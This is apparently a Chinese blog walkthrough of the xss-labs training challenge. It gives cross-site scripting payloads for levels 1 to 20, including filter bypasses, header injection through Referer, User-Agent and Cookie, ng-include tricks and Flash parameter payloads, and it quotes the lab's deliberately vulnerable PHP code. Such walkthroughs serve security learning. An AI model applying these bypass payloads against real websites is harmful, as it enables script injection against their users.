XSS-labs通关挑战(xss challenge)
XSS-labs通关挑战(xss challenge)
0x00 xss-labs
最近在看xss,今天也就来做一下xss-labs通过挑战。找了好久的源码,终于被我给找到了,因为在GitHub上大家也知道那个下载速度,所以,我也就直接转接到自己的码云上去了,在这也贴出来,欢迎大家下载使用。
源码链接请点击:https://gitee.com/ruoli-s/xss-labs
安装没啥好说的,直接放进自己搭建好的www
目录下,就可以开始闯关了,xss-labs一共有level 20
,做着看吧。
(其实觉得这些图片才是我真正想做xss challenge的最大原因)
0x01 Level 1 无过滤机制
看了半天,原来参数在URL
里放着呢,
修改参数,页面也随之变动,右键查看源代码,发现有跳转到level 2 的JS
,而我们传入的参数是几位的,下面就显示payload的长度。
OK,直接走代码:
<script>alert(/xss/)</script>
0x02 Leval 2 闭合标签
我们直接输入level 1 的 payload
,发现直接输出了,这里应该是做了实体转义。
F12
查看前端代码:
第一处就是显示在页面上的代码,第二处是我们输入的代码,这里应该是做了转义,我们构造payload,使用">
尝试闭合input
标签:
"><script>alert(/xss/)</script>
0x03 Leval 3 单引号闭合
+htmlspecialchar()
函数
来到Leval 3,我们还是先使用上两关测试的payload来验证:
发现全部被实体转义了,我们去看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
咳咳,发现对双引号“
做了限制,但是却放行了单引号'
,而且居然在value这里也加了htmlspecialchars
函数,这种情况我们可以通过事件标签
触发表单执行。这里开始构造payload:
'onmouseover='alert(/xss/)
可以看到,在提交之后,没有立刻弹出,这里我们还需要将鼠标移动到文本框,让事件触发。
补充:
0x04 Leval 4 双引号闭合+添加事件
我们还是一样,使用前面测试过的,先一一过一遍,当然,结果必然是失败的,那么接下来我们看全端代码:
可以发现源代码对>
和<
进行了过滤,我们看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
确实使用str_replace()
对尖括号
进行了过滤,而且对单引号'
做了防御,所以,我们直接模仿上一题,使用HTML事件,构造payload:
"onmouseover="alert(/xss/)
这里也是成功过关。
0x05 Leval 5 javascript伪协议
终于来到了第五关,我们使用前面的方式都测了一遍,失败无疑,但是发现了一些其他东西:
貌似on
被做了手脚,我们继续在o
后面输入其他,发现只有on
被替换了,这也就意味着事件
是不能用了。
继续尝试发现<script>
也被进行了替换<scr_ipt>
,
到这里相信大家都想到了,我们试试大小写混用:
咳咳,在线打脸哈,输出全为小写,看来人家也是做了大小写过滤了。
继续尝试看看能否闭合,我们输入'
,"
,<
,>
,\
进行尝试,发现只有'
被实体转义。那应该就是可以使用"
来构造闭合:
好,该试的都试过了,接下来我们试试 javascript 的伪协议
:
"><a href=javascript:alert(/xss/)>
最后,我们也是成功的过关了,当然,还是看一下源码比较踏实:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
也确实如我们猜的一致,分别对on
和<script>
进行了替换,也做了大小写过滤
。好了,继续下一关,欧里给。
0x06 Leval 6 大小写绕过
顺利来到第6关,我们正在徒步前行!!!
我们直接拿上一关的payload来测试,当然,也不用想,肯定是行不通的,直接来看前端代码,哎呦我去,发现了个啥,这次连href
也给过滤了,是个狠人。
我们也测试一下on
,<script>
等,发现被过滤的明明白白的,且单引号'
也被实体转义,但是我们也发现了其他的东西,貌似没有多虑大小写哈?
我们直接撸大小写,使用双引号">
构造闭合:
<ScRipt>alert(/xss/)</scRIpT>
这里也是成功过关。继续,冲冲冲!!!
0x07 Leval 7 双写绕过
来到第七关,嗯,这个图不错,很魔性有没有?
废话不多说,先来一波,有木有发现还是挺管用的?(●'◡'●)。
发现像script
这种关键字被过滤了,难道是双写
?我们直接使用双引号"
闭合构造payload:
"><scrscriptipt>alert(/xss/)</scrscriptipt>
轻松搞定😁,下一个。
0x08 Leval 8 编码绕过
来到第八关,啥也不是。
测试payload,可以看见前面测试过的基本都过滤了,大小写也都卡的死死的,但是我们发现前端代码中直接构造好了<a>
标签,既然这样,我们不妨试试编码,看能否绕过:
这里,笔者自己经过测试,html实体编码和hex编码都可以绕过,我就只放hex编码吧,看大多数博客上都是HTML实体编码,不熟悉的可以自己再了解了解。
我们可以看到,代码转换机制是将script
中的ri
变成了r_i
,所以我们只编码r
和i
试试:
字母 | 十进制 | hex(十六进制) |
---|---|---|
r | r | r |
i | i | i |
构造payload:
javascript:alert(/xss/)
干得漂亮,下一关。
0x09 Leval 9 检测关键字
越看这些图片越喜欢🤭,按照惯例,我们还是先捣鼓一番。
我去,什么情况,该试的基本都试了一遍,这代码给的是个啥?我们输入的payload呢??
不行,待老衲去查看源代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
牛逼了,牛逼上天了,除了以前做过的所有过滤,竟然还加了个strpos函数
,谁都不服就服你,这函数的意思是咱们输入的字符串里面必须要有http://
字符,我,吐了呀,这谁能想的到:
想要更多了解strpos函数的请点这里
看到这里并没有对编码进行过滤,所以我们还是延用上题的payload:
javascript:alert('xsshttp://')
咳咳,这题,,,挺不人道的,下一个,啥也不是。
0x10 Leval 10 隐藏信息
历经千辛万苦,终于来到了整个挑战的一半,呜呜呜。
噗噗噗,又吐了呀,所有的都试了,为毛又跑到URL链接上去了?看代码神马都没得呀,但是冒出了个表单是啥?还在页面没有显示?
没办法,去看源码吧,哎,心碎了💔
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现没有?感情keyword
参数只是一个迷惑而已呀,真正起作用的是t_sort
参数,但是有一个问题,它的type
类型是hidden
,我们得在前端改为text
类型,让其显现出来,且后台只对<>
做了过滤,我们可以用事件来构造:
"onmouseover="alert(/xss/)
注意:一定要在前端修改2次
type类型,才能完成弹窗。
0x11 Leval 11 Referer
来到了11关,因为10关以后的基本不可能那么简单,所以我们也没必要再进行猜测浪费时间,直接看前端代码,进行检测,实在不行的,只能去看源码了。
可以看到,和第十关比较类似,都有隐藏的表单。只是多了一个t_ref
参数,就是不知道是不是传参的。 我们先来尝试使用上一关的方法,从标签入手。
构造代码:
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
查看网页代码:
可以看到t_sort
还是接受参数的,我们直接来看源代码吧!!
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现多了一个$str11=$_SERVER['HTTP_REFERER']
字段,而我们知道,HTTP_REFERER是获取http请求中的Referer字段的,也就是我们是从哪一个页面来到现在这个页面的。我们可以使用Hackbar
进行修改Referer
字段。
查看网页代码,发现传入的referer值被t_ref
获取了。
接下来我们就可以尝试构造代码,从referer这里突破:
" onclick="alert(/xss/)" type="text
查看网页代码:
最后点击文本框即可:
0x12 Leval 12 User-agent
貌似越来越难了,连图都开始落泪了。桑心 /(ㄒoㄒ)/~~
我们还是直接看网页代码吧:
有木有发现这次传入的值这么眼熟呢?(●'◡'●),没有的话,我们来看下面这张图:
哈哈,是不是一模一样呢?那么思路就有了,我们直接从User-agent
入手,构造代码:
user-agent" onclick="alert(/xss/)" type="text
最后,我们来检测网页代码:
Ok,这里我们也是直接过关。
0x13 Leval 13 Cookie
来到13关,因为也不知道人家到底是从哪里入手,所以我们直接去看网页代码:
可以看到,又多了一个参数t_cook
,猜测可能是cookie,我们直接上代码试试:
Cookie" onclick="alert(/xss/)" type="text
可以看到,我们在Hackbar中添加的cookies字段,并没有成功传进去。
那就只能去抓个包看看了,是时候打开我们尘封已久的Burp Suite
了。通过抓包,我们可以看到,竟然多了一个参数user
,原来cookie的值是通过user才传进去的。无奈╮(╯▽╰)╭
既然知道了传参的关键,那我们就好构造代码了:
Cookie" onclick="alert(/xss/)" type="text
我们通过Repeater
模块看到参数已经传进去,那么将包放掉,去看看我们的收获。
OK,13关也顺利过了。继续
0x14 Leval 14 Exif
这是个嘛玩意??图片呢?等等,好像跳转了,可小编貌似也没那么长寿等下去哈,一直刷不出来(关键是我开了梯子也不行啊,果断放弃看答案)····
去网上查了一下,说是什么Exif xss,好吧,我只知道CTF
中的杂项中负责隐写的那一块有在Exif中隐藏信息的(反正小编是没碰到这么简单的隐写题🤣),再去百度吧
好吧,就当涨涨见识了😂
0x15 Leval ng-include
刚开始找了一圈,愣是没找到什么,最后发现,URL里面的参数在网页源码里有显示,觉得可能有什么幺蛾子。
又看了看网页源代码,发现确实有个ng-include
,也不知道是个啥。。。
最后去百度瞅了瞅,说什么ng-include
是angular js
中的东西,自己也不太懂,不过,貌似就跟php中的include函数类似,是将一个文件给包含进来。
说到这,我们来看看ng-include
的用法:
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
值得注意的是:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
再去看看源代码:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
可以看到这里是通过src
传参,而且还对<>
做了过滤,既然这里可以包含html文件,那也就是说也可以包含之前咱们做过的有xss漏洞的文件,所以就可以构造:
'level1.php?name=<a href="javascript:alert(/xss/)">'
OK,成功弹窗,下一个,这两关做的人难受。
0x16Leval 16 空格实体转义
经过测试,发现在url里面传入参数,我们直接上最简单的试试:
发现script
字样直接被过滤,甚至连/script
也被滤掉了,那么试试上关的payload:
<img src="" onerror=alert('xss')>
呃呃,貌似空格被实体了:
好吧,现在也只能使用其他来代替空格了,第一个想到的是回车
,即如下:因为在html里,回车是可以代替空格的。
<img
src=””
onerror=alert(‘xss’)
>
最后使用URL编码
将回车符转换为%0a
替代即可:
<img%0Asrc=""%0Aonerror=alert('xss')>
欧克欧克,成功弹窗。
顺便看下源代码:果然,全部被使用
实体替代了。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
0x17 Leval 17 参数拼接
emmm,又没图了,哎,随便传了几个参数,发现,是根据arg01
和arg02
两个参数进行接受的,传参之后,对两个参数进行了拼接
,那么我门是不是可以直接使用事件来触发呢?
呃,貌似没啥反应啊,但是我们可以看到,明明有事件可以触发,奇了怪了。
去问了度娘,人家说这里加载了swf
图片,但是真不幸的是,我们的firefox
直接出不来,呜呜,换了Google,擦,flash
被屏蔽了,但弹窗还是能出来:
又换了星愿
,终于出来了,呜呜😭
顺便看看源代码,看来和我们想的差不多,通过两个arg
传参,且过滤了<>
。
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
0x18 Leval 18 参数拼接
呃,刚开始以为又没图了呢,看到网页代码后,又有个swf
,好吧,果断换浏览器。
噗,这什么,,忽悠也不至于这样的吧,
直接使用上一关的payload:
onmouse&arg02=alert(/xss/)
噗噗,这也行,直接就弹了?没看懂,过吧!!
0x19 Leval 19 Flash xss
先试试上关的payload:好吧,看来是要使用"
闭合,但是闭合之后,又因为又有htmlspecialchars()
函数在这过滤,所以也没办法闭合。
没办法了,去看了答案,说是什么flash
的反编译
,好的吧,反正我是不懂,有兴趣的可以看看,自己目前是啃不下来。等啥时候时机成熟了,再单独写吧,放个答案先。
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
想深入研究的:点这里
0x20 Leval 20 Flash xss
好的吧,应该是换了个白色的flash,还是先贴个 答案:详细的等自己能静下心来再补。
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height